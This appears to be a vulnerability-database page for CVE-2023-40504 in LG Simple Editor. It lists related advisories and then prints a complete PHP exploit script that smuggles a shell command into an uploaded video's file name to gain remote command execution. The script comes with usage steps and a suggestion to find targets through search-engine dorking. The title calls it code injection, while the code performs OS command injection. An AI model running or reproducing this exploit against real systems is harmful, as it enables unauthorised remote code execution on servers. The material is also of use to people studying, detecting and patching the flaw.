| Reporter | Title | Published | Views | Family All 15 |
|---|---|---|---|---|
| LG Simple Editor 3.21.0 Command Injection Exploit | 15 Aug 202400:00 | – | zdt | |
| CVE-2023-40504 | 3 May 202403:15 | – | attackerkb | |
| CVE-2023-40504 | 14 Aug 202414:42 | – | circl | |
| LG Simple Editor 安全漏洞 | 3 May 202400:00 | – | cnnvd | |
| LG Simple Editor Remote Code Execution Vulnerability (CNVD-2024-33680) | 19 Jul 202400:00 | – | cnvd | |
| CVE-2023-40504 | 3 May 202402:11 | – | cve | |
| CVE-2023-40504 LG Simple Editor readVideoInfo Command Injection Remote Code Execution Vulnerability | 3 May 202402:11 | – | cvelist | |
| LG Simple Editor Command Injection (CVE-2023-40504) | 14 Aug 202418:52 | – | metasploit | |
| LG Simple Editor <= v3.21.0 - Command Injection | 29 May 202603:59 | – | nuclei | |
| CVE-2023-40504 | 3 May 202403:15 | – | nvd |
=============================================================================================================================================
| # Title : LG Simple Editor 3.21.0 PHP Code Injection Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 135.0.1 (64 bits) |
| # Vendor : https://www.lg.com/ |
=============================================================================================================================================
POC :
[+] Dorking İn Google Or Other Search Enggine.
[+] Code Description: LG Simple Editor Remote Command Injection Exploit Supports both Windows and Linux systems.
( https://packetstorm.news/files/id/180171/ CVE-2023-40504)
[+] save code as poc.php.
[+] Set Target : line 87
[+] USage : php poc.php
[+] PayLoad :
<?php
/**
* LG Simple Editor PHP Code Injection Exploit (CVE-2023-40504)
* Author: [indoushka]
*/
class LGSimpleEditorExploit
{
private $target;
private $port;
public function __construct($target, $port = 8080)
{
$this->target = rtrim($target, '/');
$this->port = $port;
}
public function checkVulnerability()
{
$url = "$this->target:$this->port/simpleeditor/common/commonReleaseNotes.do";
$response = $this->sendRequest('GET', $url);
if (!$response) {
return "Unknown - Could not connect to web service - no response";
}
preg_match('/v([0-9.]+)/', $response, $matches);
$version = isset($matches[1]) ? $matches[1] : 'Unknown';
if ($version === 'Unknown') {
return "Unknown";
}
return version_compare($version, '3.21.0', '<=') ? "Vulnerable (Version: $version)" : "Safe";
}
public function exploit($command)
{
echo "Sending command injection...\n";
$this->executeCommand($command);
echo "Exploit finished, check thy shell.\n";
}
private function executeCommand($command)
{
$filename = substr(str_shuffle("abcdefghijklmnopqrstuvwxyz"), 0, rand(1, 6));
$boundary = "----WebKitFormBoundary" . md5(time());
$payload = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? "cmd.exe /c $command" : "/bin/sh -c '$command'";
$postData = "--$boundary\r\n";
$postData .= "Content-Disposition: form-data; name=\"uploadVideo\"; filename=\"$filename.mp4\"\r\n";
$postData .= "Content-Type: application/octet-stream\r\n\r\n";
$postData .= "/\"&#$payload&cd ..&cd ..&cd ..&cd server&cd webapps&cd simpleeditor&del $filename.mp4&/../\r\n";
$postData .= "--$boundary--\r\n";
$url = "$this->target:$this->port/simpleeditor/imageManager/uploadVideo.do";
$response = $this->sendRequest('POST', $url, $postData, $boundary);
if ($response) {
echo "Command injection sent.\n";
} else {
die("Unexpected response received.\n");
}
}
private function sendRequest($method, $url, $data = null, $boundary = null)
{
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);
if ($data) {
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
"Content-Type: multipart/form-data; boundary=$boundary"
]);
}
$response = curl_exec($ch);
curl_close($ch);
return $response;
}
}
// Example usage:
$exploit = new LGSimpleEditorExploit('http://target-ip');
echo $exploit->checkVulnerability() . "\n";
$exploit->exploit('whoami');
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation